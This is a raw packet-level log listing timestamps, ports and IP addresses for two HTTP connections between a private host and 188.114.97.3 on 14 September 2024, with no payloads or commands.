Sep 14, 2024 18:44:08.679656982 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.679682016 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679692984 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.679699898 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679745913 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679824114 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.679857016 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.679873943 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.679903984 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.680434942 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.680486917 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.680489063 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.680524111 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.680541992 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.680567980 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.680620909 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.680670977 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.680886984 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.680943012 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.681502104 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.681554079 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.681574106 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.681587934 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.681603909 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.681622982 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.681658030 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.681663990 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.681677103 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.681719065 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.682477951 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.682529926 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.682533026 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.682564974 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.682575941 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.682596922 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.682617903 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.682635069 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.682640076 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.682689905 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.683090925 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.683145046 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.683146954 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.683199883 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.683202982 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.683237076 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.683250904 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.683285952 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.683295965 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.683355093 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.684045076 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.684078932 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.684113979 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.684124947 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.684124947 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.684151888 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.684175968 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.684205055 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768587112 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768656969 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768717051 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768748999 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768769026 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768786907 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768804073 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768852949 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768871069 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768887043 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768906116 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768918991 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768944025 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768958092 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.768971920 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.768991947 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769007921 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769047022 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769313097 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769371033 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769392014 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769426107 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769448996 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769469023 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769478083 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769515038 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769539118 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769556046 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769562006 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769588947 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769608974 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769619942 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.769645929 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.769680023 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770081997 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770138979 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770158052 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770195007 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770214081 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770247936 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770250082 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770286083 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770304918 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770335913 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770353079 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770386934 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770390987 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770421028 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.770426035 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770452023 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.770473003 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771086931 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771122932 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771145105 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771157980 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771174908 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771203041 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771209955 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771241903 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771270037 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771276951 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771287918 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771317959 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771323919 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771353006 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771372080 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771400928 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.771428108 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771447897 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.771989107 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.772046089 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.772088051 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.772125006 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.772146940 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.772161007 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.772169113 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.772192955 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.772213936 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.772224903 CEST	80	49721	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.772252083 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.772274017 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.930397034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.940762043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:08.940859079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.941112041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:08.946711063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.419481039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.421933889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.426896095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529581070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529632092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529665947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529704094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529736042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529771090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529808044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529844046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529875994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529911041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.529922009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.529922009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.529922009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.529958010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.530406952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.534905910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.534935951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.534964085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.578275919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.619216919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619293928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619333029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619364023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.619371891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619461060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619513035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619548082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619564056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.619580984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619600058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.619620085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619637966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.619654894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.619702101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.620383024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.620415926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.620450974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.620464087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.620488882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.620524883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.620539904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.621201992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.621258020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.621267080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.621294975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.621330023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.621345997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.621361971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.621469021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.622140884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.622433901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.622541904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.663264990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.663330078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.663360119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.663408995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.663471937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.663471937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.706459999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706496000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706547022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706569910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.706584930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706620932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706671000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706681013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.706711054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706729889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.706743002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706779003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706785917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.706820965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.706870079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.707429886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707482100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707518101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707541943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.707570076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707607031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707623959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.707639933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707675934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.707693100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.708321095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708374023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708406925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.708412886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708468914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.708477974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708509922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708545923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708564997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.708579063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.708688974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.709106922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709175110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709213018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709227085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.709264040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709300041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709332943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709341049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.709386110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.709398031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.710055113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710109949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710119963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.710146904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710199118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710206985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.710235119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710268974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710283995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.710308075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.710412025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.710973024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751636982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751667023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751714945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.751729012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751780033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751816988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751818895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.751849890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751868963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.751888037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751924038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751955032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.751961946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.751986980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.752013922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.796905994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.796983004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797022104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797055960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797080994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797105074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797138929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797153950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797171116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797207117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797221899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797256947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797295094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797306061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797326088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797364950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797377110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797399044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797446012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797478914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797508955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797512054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797543049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797548056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797580957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797597885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797619104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797652960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797677040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797683954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797723055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797729969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.797756910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.797812939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798089981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798122883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798172951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798235893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798269987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798301935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798317909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798341036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798383951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798414946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798448086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798456907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798477888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798562050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798593998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798618078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798626900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798662901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798676968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.798696995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798729897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798742056 CEST	49722	80	192.168.2.6	188.114.97.3
